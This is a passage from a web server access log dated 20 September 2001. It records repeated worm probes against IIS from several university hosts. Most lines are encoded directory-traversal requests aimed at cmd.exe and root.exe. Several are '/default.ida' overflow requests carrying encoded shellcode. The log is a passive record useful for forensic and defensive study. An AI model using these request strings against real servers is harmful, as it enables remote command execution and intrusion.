  12626. 20010920 03:34:57:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12627. 20010920 03:35:15:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12628. 20010920 03:35:33:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12629. 20010920 03:35:51:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12630. 20010920 03:36:09:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12631. 20010920 03:36:27:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12632. 20010920 03:36:46:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12633. 20010920 03:37:04:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12634. 20010920 03:37:22:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12635. 20010920 03:37:40:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12636. 20010920 03:37:58:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12637. 20010920 03:38:16:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12638. 20010920 03:38:35:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12639. 20010920 03:38:53:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12640. 20010920 03:39:11:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12641. 20010920 03:39:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12642. 20010920 03:39:29:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12643. 20010920 03:39:47:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12644. 20010920 03:40:06:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12645. 20010920 03:40:24:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12646. 20010920 03:40:42:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12647. 20010920 03:41:00:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12648. 20010920 03:41:18:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12649. 20010920 03:41:37:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12650. 20010920 03:41:55:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12651. 20010920 03:42:13:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12652. 20010920 03:42:31:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12653. 20010920 03:42:49:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12654. 20010920 03:43:07:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12655. 20010920 03:43:26:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12656. 20010920 03:43:44:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12657. 20010920 03:44:02:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12658. 20010920 03:44:20:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12659. 20010920 03:44:38:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12660. 20010920 03:44:57:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12661. 20010920 03:45:15:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12662. 20010920 03:45:33:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12663. 20010920 03:45:51:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12664. 20010920 03:46:09:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12665. 20010920 03:46:27:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12666. 20010920 03:57:29:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12667. 20010920 03:57:47:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12668. 20010920 03:58:05:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12669. 20010920 03:58:24:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12670. 20010920 03:58:42:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12671. 20010920 03:59:00:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12672. 20010920 03:59:18:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12673. 20010920 03:59:36:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12674. 20010920 03:59:54:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12675. 20010920 04:00:13:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12676. 20010920 04:00:31:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12677. 20010920 04:00:49:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12678. 20010920 04:01:07:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12679. 20010920 04:01:25:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12680. 20010920 04:01:43:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12681. 20010920 04:02:02: pvil-c-157.resnet.purdue.edu [128.211.254.157] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12682. 20010920 04:05:54: pvil-c-157.resnet.purdue.edu [128.211.254.157] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12683. 20010920 04:05:56: pvil-c-157.resnet.purdue.edu [128.211.254.157] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12684. 20010920 04:06:01:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12685. 20010920 04:31:55:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12686. 20010920 04:32:13:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12687. 20010920 04:32:31:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12688. 20010920 04:32:49:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12689. 20010920 04:33:08:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12690. 20010920 04:33:26:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12691. 20010920 04:33:44:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12692. 20010920 04:34:02:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12693. 20010920 04:34:20:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12694. 20010920 04:34:38:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12695. 20010920 04:34:57:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12696. 20010920 04:35:15:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12697. 20010920 04:35:33:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12698. 20010920 04:35:51:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12699. 20010920 04:36:09:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12700. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12701. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12702. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12703. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12704. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12705. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12706. 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12707. 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12708. 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12709. 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12710. 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12711. 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12712. 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12713. 20010920 04:36:30: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12714. 20010920 04:36:30: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12715. 20010920 04:36:30: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12716. 20010920 04:36:30:  [128.121.19.225] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12717. 20010920 04:55:34:  [128.121.19.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12718. 20010920 04:55:53:  [128.121.19.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12719. 20010920 04:56:11:  [128.121.19.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12720. 20010920 04:56:33:  [128.121.19.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12721. 20010920 04:56:51:  [128.121.19.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12722. 20010920 04:57:09:  [128.121.19.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12723. 20010920 04:57:27:  [128.121.19.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12724. 20010920 04:57:46:  [128.121.19.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12725. 20010920 04:58:04:  [128.121.19.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12726. 20010920 04:58:22:  [128.121.19.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12727. 20010920 04:58:41:  [128.121.19.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12728. 20010920 04:58:59:  [128.121.19.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12729. 20010920 04:59:20:  [128.121.19.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12730. 20010920 04:59:39:  [128.121.19.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12731. 20010920 04:59:57:  [128.121.19.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12732. 20010920 05:00:15:  [128.121.19.225] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12733. 20010920 05:10:24:  [128.121.19.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12734. 20010920 05:10:42:  [128.121.19.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12735. 20010920 05:11:00:  [128.121.19.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12736. 20010920 05:11:19:  [128.121.19.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12737. 20010920 05:11:37:  [128.121.19.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12738. 20010920 05:11:55:  [128.121.19.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12739. 20010920 05:12:13:  [128.121.19.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12740. 20010920 05:12:32:  [128.121.19.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12741. 20010920 05:12:50:  [128.121.19.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12742. 20010920 05:13:08:  [128.121.19.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12743. 20010920 05:13:27:  [128.121.19.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12744. 20010920 05:13:45:  [128.121.19.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12745. 20010920 05:14:03:  [128.121.19.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12746. 20010920 05:14:21:  [128.121.19.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12747. 20010920 05:14:40:  [128.121.19.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12748. 20010920 05:14:58: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12749. 20010920 05:37:00: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12750. 20010920 05:48:24:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12751. 20010920 06:19:08:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12752. 20010920 06:19:26:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12753. 20010920 06:19:45:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12754. 20010920 06:20:03:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12755. 20010920 06:20:21:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12756. 20010920 06:20:39:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12757. 20010920 06:20:57:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12758. 20010920 06:21:16:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12759. 20010920 06:21:34:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12760. 20010920 06:21:52:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12761. 20010920 06:22:10:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12762. 20010920 06:22:28:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12763. 20010920 06:22:47:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12764. 20010920 06:23:05:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12765. 20010920 06:23:23:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12766. 20010920 06:23:41:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12767. 20010920 06:43:26:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12768. 20010920 06:43:45:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12769. 20010920 06:44:03:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12770. 20010920 06:44:21:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12771. 20010920 06:44:40:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12772. 20010920 06:44:58:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12773. 20010920 06:45:16:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12774. 20010920 06:45:35:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12775. 20010920 06:45:53:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12776. 20010920 06:46:11:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12777. 20010920 06:46:29:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12778. 20010920 06:46:48:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12779. 20010920 06:47:06:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12780. 20010920 06:47:24:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12781. 20010920 06:47:42:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12782. 20010920 06:48:01:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12783. 20010920 06:52:52:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12784. 20010920 06:53:11:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12785. 20010920 06:53:29:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12786. 20010920 06:53:47:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12787. 20010920 06:54:06:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12788. 20010920 06:54:24:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12789. 20010920 06:54:42:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12790. 20010920 06:55:00:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12791. 20010920 06:55:19:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12792. 20010920 06:55:37:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12793. 20010920 06:55:55:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12794. 20010920 06:56:14:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12795. 20010920 06:56:32:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12796. 20010920 06:56:50:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12797. 20010920 06:57:08:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12798. 20010920 06:57:27:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12799. 20010920 07:11:26:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12800. 20010920 07:11:44:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12801. 20010920 07:12:02:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12802. 20010920 07:12:21:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12803. 20010920 07:12:39:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12804. 20010920 07:12:57:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12805. 20010920 07:13:15:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12806. 20010920 07:13:34:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12807. 20010920 07:13:52:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12808. 20010920 07:14:17:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12809. 20010920 07:14:35:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12810. 20010920 07:14:54:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12811. 20010920 07:15:12:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12812. 20010920 07:15:30:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12813. 20010920 07:15:48:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12814. 20010920 07:16:07: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12815. 20010920 07:22:08:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12816. 20010920 07:22:31:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12817. 20010920 07:22:49:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12818. 20010920 07:23:08:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12819. 20010920 07:23:26:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12820. 20010920 07:23:44:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
